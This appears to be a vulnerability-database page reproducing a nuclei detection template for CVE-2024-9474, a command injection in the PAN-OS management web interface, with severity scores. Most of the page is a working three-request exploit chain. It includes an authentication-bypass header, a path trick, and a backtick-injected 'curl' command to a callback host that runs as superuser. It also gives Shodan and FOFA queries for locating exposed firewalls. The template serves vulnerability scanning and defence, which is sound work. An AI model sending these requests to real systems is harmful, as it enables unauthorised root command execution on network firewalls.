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PAN-OS Management Web Interface - Command Injection

🗓️ 16 Jun 2026 07:13:51Reported by ProjectDiscoveryType 
nuclei
 nuclei
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A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges. Cloud NGFW and Prisma Access are not impacted

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id: CVE-2024-9474

info:
  name: PAN-OS Management Web Interface - Command Injection
  author: watchTowr,iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.
    Cloud NGFW and Prisma Access are not impacted by this vulnerability.
  impact: |
    Authenticated administrators with access to the management web interface can escalate privileges to execute commands with root privileges on the PAN-OS firewall, achieving complete system control and bypassing security controls.
  remediation: |
    Apply security updates from Palo Alto Networks to address the privilege escalation and command injection vulnerability in the PAN-OS management web interface.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2024-9474
    cwe-id: CWE-78
    epss-score: 0.94766
    epss-percentile: 0.99848
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: paloaltonetworks
    product: pan-os
    shodan-query:
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
      - http.favicon.hash:"-631559155"
    fofa-query: icon_hash="-631559155"
  tags: cve,cve2024,panos,rce,kev,vkev,vuln

flow: http(1) && http(2) && http(3)

variables:
  rand: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        GET /php/utils/CmsGetDeviceSoftwareVersion.php/.js.map HTTP/1.1
        Host: {{Hostname}}
        X-PAN-AUTHCHECK: off

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "0.0.0")'
          - 'contains_all(header, "Expires: 0", "PHPSESSID=", "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        POST /php/utils/createRemoteAppwebSession.php/{{rand}}.js.map HTTP/1.1
        Host: {{Hostname}}
        X-PAN-AUTHCHECK: off
        Content-Type: application/x-www-form-urlencoded

        user=`curl+{{interactsh-url}}`&userRole=superuser&remoteHost=&vsys=vsys1

    matchers:
      - type: word
        part: body
        words:
          - "@start@PHPSESSID="
        internal: true

    extractors:
      - type: regex
        part: body
        name: phpsessid
        group: 1
        regex:
          - '@start@PHPSESSID=(.*?)@end@'
        internal: true

  - raw:
      - |
        GET /index.php/.js.map HTTP/1.1
        Host: {{Hostname}}
        Cookie: PHPSESSID={{phpsessid}}
        X-PAN-AUTHCHECK: off

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "panos")'
        condition: and
# digest: 490a0046304402204f52c4db56d50d71ced144a3b795cd9ddce125a6594fe085bb79c7f602cbd115022054ad8c7d940c966a758670806cbc751e2938afedeece7102d4ba732514d2b17b:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
8.3High risk
Vulners AI Score8.3
CVSS 3.17.2
CVSS 46.9
EPSS0.94766
SSVC
170